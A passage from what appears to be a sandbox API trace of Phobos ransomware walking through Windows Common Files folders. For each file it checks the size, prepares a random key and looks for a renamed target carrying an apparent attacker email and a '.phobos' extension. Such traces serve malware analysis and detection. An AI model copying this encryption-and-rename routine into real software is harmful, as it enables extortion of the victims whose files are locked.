shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.444] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.444] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=237) returned 1 [0132.444] CloseHandle (hObject=0x2e8) returned 1 [0132.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0132.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.445] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.446] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=6406) returned 1 [0132.446] CloseHandle (hObject=0x2e8) returned 1 [0132.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0132.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.446] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.447] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=235) returned 1 [0132.447] CloseHandle (hObject=0x2e8) returned 1 [0132.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0132.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.447] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.447] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4222) returned 1 [0132.447] CloseHandle (hObject=0x2e8) returned 1 [0132.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0132.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.448] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.448] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=237) returned 1 [0132.448] CloseHandle (hObject=0x2e8) returned 1 [0132.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0132.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.448] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.448] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=6381) returned 1 [0132.448] CloseHandle (hObject=0x2e8) returned 1 [0132.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0132.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.449] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.449] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=232) returned 1 [0132.449] CloseHandle (hObject=0x2e8) returned 1 [0132.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0132.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.449] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.450] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=5115) returned 1 [0132.450] CloseHandle (hObject=0x2e8) returned 1 [0132.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0132.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.450] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.450] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=233) returned 1 [0132.450] CloseHandle (hObject=0x2e8) returned 1 [0132.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0132.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.450] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.451] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1920) returned 1 [0132.451] CloseHandle (hObject=0x2e8) returned 1 [0132.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0132.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.451] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.451] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=237) returned 1 [0132.451] CloseHandle (hObject=0x2e8) returned 1 [0132.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0132.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.452] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.452] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4734) returned 1 [0132.452] CloseHandle (hObject=0x2e8) returned 1 [0132.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0132.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.452] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.452] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=232) returned 1 [0132.452] CloseHandle (hObject=0x2e8) returned 1 [0132.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0132.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.453] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.453] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=10569) returned 1 [0132.453] CloseHandle (hObject=0x2e8) returned 1 [0132.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0132.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.453] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.454] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=230) returned 1 [0132.454] CloseHandle (hObject=0x2e8) returned 1 [0132.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0132.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.454] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.454] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=7505) returned 1 [0132.454] CloseHandle (hObject=0x2e8) returned 1 [0132.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0132.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.454] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.455] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2702) returned 1 [0132.455] CloseHandle (hObject=0x2e8) returned 1 [0132.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0132.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.455] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program 